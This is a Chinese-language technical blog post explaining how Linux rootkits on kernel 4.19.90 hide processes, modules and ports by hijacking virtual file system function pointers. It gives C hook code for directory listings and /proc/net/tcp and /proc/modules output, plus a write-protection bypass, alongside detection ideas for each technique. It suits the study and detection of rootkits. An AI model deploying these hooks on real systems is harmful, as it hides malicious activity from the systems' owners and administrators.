Bad programmers worry about the code. Good programmers worry about data structures and their relationships. —— Linus Torvalds.
这篇没什么新东西,虚拟文件系统劫持,一般都是替换某些结构体的函数指针指向的函数,实现进程、文件隐藏、端口隐藏、模块隐藏。
具体实现方式,在不同内核版本下存在差异,这次就简单分析,在 Linux 4.19.90 内核版本下如何利用虚拟文件系统劫持实现各类隐藏。
1. file_operations结构体
Linux中所有的设备、磁盘文件都被抽象为"文件"看待,即"一切皆文件"。
file_operations是一个对设备进行操作的抽象结构体。Linux内核为设备建立一个设备文件,使得对设备文件的所有操作,就相当于对设备的操作。用户程序可以用访问普通文件的方法访问设备文件,进而访问设备。
file_operations结构体在头文件 linux/fs.h中定义,用来存储驱动内核模块提供的对设备进行各种操作的函数的指针。该结构体的每个域都对应着驱动内核模块用来处理某个被请求的事务的函数的地址。
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
......
......
int (*fiemap)(struct inode *, struct fiemap_extent_info *, u64 start,
u64 len);
int (*update_time)(struct inode *, struct timespec64 *, int);
int (*atomic_open)(struct inode *, struct dentry *,
struct file *, unsigned open_flag,
umode_t create_mode);
int (*tmpfile) (struct inode *, struct dentry *, umode_t);
int (*set_acl)(struct inode *, struct posix_acl *, int);
}
一般地,替换file_operations结构体中文件类操作的系统调用函数指针,实现进程、文件隐藏。
2. seq_operations结构体
由于procfs的默认操作函数只使用一页的缓存,在处理较大的proc文件时就有点麻烦,并且在输出一系列结构体中的数据时也比较不灵活,需要自己在read_proc函数中实现迭代,容易出现Bug。
所以内核开发者对一些/proc代码改动,抽象出共性,最终形成了seq_file(Sequence file:序列文件)接口。这个接口提供了一套简单的函数来解决以上proc接口编程时存在的问题,使得编程更加容易,降低了Bug出现的几率。
其实seq_file是实现的是一个操作函数集,这个函数集并不是与proc绑定的,同样可以用在其他的地方。首先要了解seq_file结构体,其定义在/include/linux/seq_file.h
struct seq_file {
char *buf; //seq_file接口使用的缓存页指针
size_t size; //seq_file接口使用的缓存页大小
size_t from; //从seq_file中向用户态缓冲区拷贝时相对于buf的偏移地址
size_t count; //buf中可以拷贝到用户态的字符数目
loff_t index; //start、next的处理的下标pos数值
loff_t read_pos; //当前已拷贝到用户态的数据量大小
u64 version;
struct mutex lock; //针对此seq_file操作的互斥锁,所有seq_*的访问都会上锁
const struct seq_operations *op; //操作实际底层数据的函数
void *private;
};
seq_operations结构体是我们需要关注的,也定义在/include/linux/seq_file.h
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
只需要关注seq_operations结构体中的show函数作用,因为实现隐藏功能主要是劫持show函数实现的。
show方法就是负责将v指向的元素中的数据输出到seq_file的内部缓存,但是其中必须借助seq_file提供的一些类似printf的接口函数
int (*show) (struct seq_file *m, void *v);
一般地,替换seq_operations结构体中show函数指针,实现端口隐藏。
3. 劫持file_operations实现进程隐藏
大概看一下系统调用 getdents / getdents64 的调用层次,查看系统调用服务函数sys_getdents的源码。
在4.19.90内核版本中,调用过程为 sys_getdents -> iterate_dir -> struct file_operations 成员 iterate或iterate_shared -> …… -> struct dir_context 成员 actor。
在iterate_dir函数中,存在两个函数指针 iterate 或 iterate_shared ,如果当前的打开的文件系统定义过 iterate_shared 那么直接调用 iterate_shared 进行处理 。
内核源码中可以查看哪些目录已定义iterate_shared。
iterate和iterate_shared,最终都是由 dir_context 结构体的actor成员,即 filldir 函数把目录结构填充到缓冲区。
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *)
为了保证隐藏效果,两个指针都替换为钩子函数地址。
隐藏思路:篡改某个目录下的 iterate 或 iterate_shared 为fake iterate和fake iterate_shared, 在假函数里把 struct dir_context 里的 actor 替换成 fake filldir ,fake filldir 过滤目录进行隐藏。
int fake_iterate(struct file *filp, struct dir_context *ctx)
{
real_filldir = ctx->actor;
*(filldir_t *)&ctx->actor = fake_filldir;
printk(KERN_ALERT "change: real_filldir %lxn", real_filldir);
return real_iterate(filp, ctx);
}
int fake_iterate_shared(struct file *filp, struct dir_context *ctx)
{
real_filldir = ctx->actor;
*(filldir_t *)&ctx->actor = fake_filldir;
printk(KERN_ALERT "change: real_filldir %lxn", real_filldir);
return real_iterate_shared(filp, ctx);
}
int fake_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type)
{
char *endp;
long pid;
printk(KERN_ALERT "run: fake_filldir %s", name);
pid = simple_strtol(name, &endp, 10);
if (pid == SECRET_PROC) {
printk(KERN_ALERT "Hiding pid: %ld", pid);
return 0;
}
return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
隐藏pid为1的进程,篡改/proc/PID目录下内容。
检测思路:内核版本大于3.11.0检测 iterate 或 iterate_shared ,低于3.11.0则检测 readdir 函数地址是否在内核text节区,如果不在那么可能发生劫持。
4. 劫持file_operations实现模块隐藏
同理,劫持/sys/module 目录下file_operations 钩取 iterate_shared,实现模块隐藏。
int fake_iterate_shared(struct file *filp, struct dir_context *ctx)
{
real_filldir64 = ctx->actor;
*(filldir_t *)&ctx->actor = fake_filldir64;
printk(KERN_ALERT "change: real_filldir64 %lxn", real_filldir64);
return real_iterate_shared(filp, ctx);
}
int fake_filldir64(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type)
{
printk(KERN_ALERT "run: fake_filldir64 %s", name);
if (strncmp(name, SECRET_MODULE, strlen(SECRET_MODULE)) == 0) {
printk(KERN_ALERT "Hiding module: %s", name);
return 0;
}
return real_filldir64(ctx, name, namlen, offset, ino, d_type);
}
检测同理。
5. 劫持seq_operations实现端口隐藏
用户进程读 /proc 下面的相关文件获取端口信息时, 把需要隐藏的的端口的内容过滤掉,实现端口隐藏。
网络类型 | /proc 文件 | 内核源码文件 | 主要实现函数 |
---|---|---|---|
TCP / IPv4 | /proc/net/tcp | net/ipv4/tcp_ipv4.c | tcp4_seq_show |
TCP / IPv6 | /proc/net/tcp6 | net/ipv6/tcp_ipv6.c | tcp6_seq_show |
UDP / IPv4 | /proc/net/udp | net/ipv4/udp.c | udp4_seq_show |
UDP / IPv6 | /proc/net/udp6 | net/ipv6/udp.c | udp6_seq_show |
将 /proc/net/tcp 等文件的 show 函数篡改成我们的钩子函数,然后在我们的假 show 函数里进行过滤。
需要看一下读取目录相关函数的处理方式,查4.19.90源码,发现seq_read 函数。
seq_read 函数调用traverse函数,其中包含对show函数的操作。
参考源码可以重写函数,找到show函数指针替换为钩子函数地址。
# define set_afinfo_seq_op(show, path, new, old)
do {
struct file *filp;
struct seq_file *seq;
filp = filp_open(path, O_RDONLY, 0);
if (IS_ERR(filp)) {
printk(KERN_ALERT "Failed to open %s with error %ld.n",
path, PTR_ERR(filp));
old = NULL;
} else {
seq = filp->private_data;
old = seq->op->show;
printk(KERN_ALERT "Setting seq_op->" #show " from %p to %p.",
old, new);
*(unsigned long*)&(seq->op->show) = new;
filp_close(filp, 0);
}
} while (0)
编译时发现,show函数是只读成员,需要关闭写保护。
disable_wp();
*(unsigned long*)&(seq->op->show) = new;
enable_wp();
测试劫持效果,劫持/proc/net/tcp,隐藏22端口。
检测思路:对/proc/net/tcp 目录下的seq show函数地址进行检测,判断是否在内核text节区。
6. 劫持seq_operations实现模块隐藏
lsmod 的数据来源是 /proc/modules , 用隐藏端口的方式:钩掉 /proc/modules 的 show 函数, 在我们的fake show 函数里过滤掉我们想隐藏的模块。
int fake_seq_show(struct seq_file *seq, void *v)
{
int ret;
size_t last_count, last_size;
last_count = seq->count;
ret = real_seq_show(seq, v);
last_size = seq->count - last_count;
if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE,last_size)) {
printk("Hiding module: %sn", SECRET_MODULE);
seq->count -= last_size;
}
return ret;
}
检测思路:对/proc/modules 目录下的seq show函数地址进行检测,判断是否在内核text节区。
reference
https://docs-conquer-the-universe.readthedocs.io/zh_CN/latest/
https://wohin.me/linux-rootkit-shi-yan-00022-rootkit-ji-ben-gong-neng-shi-xian-xyin-cang-wen-jian/
https://elixir.bootlin.com/linux/v4.19.90/source
原文始发于微信公众号(TahirSec):Linux | 虚拟文件系统劫持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论